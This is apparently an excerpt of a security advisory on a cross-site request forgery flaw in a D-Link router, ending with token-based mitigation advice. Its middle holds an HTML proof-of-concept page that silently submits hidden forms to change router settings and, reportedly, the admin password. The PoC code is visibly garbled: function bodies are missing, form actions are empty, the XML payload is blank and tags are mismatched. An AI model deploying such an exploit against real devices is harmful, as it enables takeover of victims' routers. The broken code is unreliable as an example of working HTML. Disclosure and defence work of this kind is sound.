Vulnerability overview/description:
1) Cross Site Request Forgery

An attacker can use cross-site request forgery vulnerability to perform arbitrary web requests with the identity of the victim
without being noticed by the victim.

Proof of concept:
1) Cross Site Request Forgery

A malicious HTML file can be hosted in an attacker's controlled server, once an authenticated victim vists the malicious website/URL,
the payload will get executed, and some actions will be performed, such as changing the administration password in the worst case.

Example of an malicious HTML file:
(The following CSRF PoC can be used to change some router settings and can be modified to change the Admin password)

<!DOCTYPE html><html><head>
<title> D-Link CSRF</title>
<script type="text/javascript">
function exec1()
setTimeout(exec2, 3000);
function exec2()
return "please wait";
<h3> Your D-Link Device Settings Has Been Changed</h4>
<body onload="exec1();" >
<form id="form1" target="if1" action="" method="POST" enctype="text/plain">
<input type="hidden" name="<?xml version" value=""1.0" encoding="UTF-8"?>





</postxml>" />
<form id="form2" target="if2" action="" method="POST">
<input type="hidden" name="ACTIONS" value="SETCFG,SAVE,ACTIVATE" />
<iframe name="if1" style="display: hidden=" width="0" height="0" frameborder="0" ></iframe>
<iframe name="if2" style="display: hidden=" width="0" height="0" frameborder="0"></iframe>

Each request that performs write access or changes the state of the application must be outfitted with a shared secret (token).
It can be implemented by using a hidden field inside the form used to perform the sensitive action or inside a custom header field.
The shared secret is stored into the session of the user on the server side to compare it against the value sent with the request.
Each request that does not match the corresponding shared secret must be ignored.
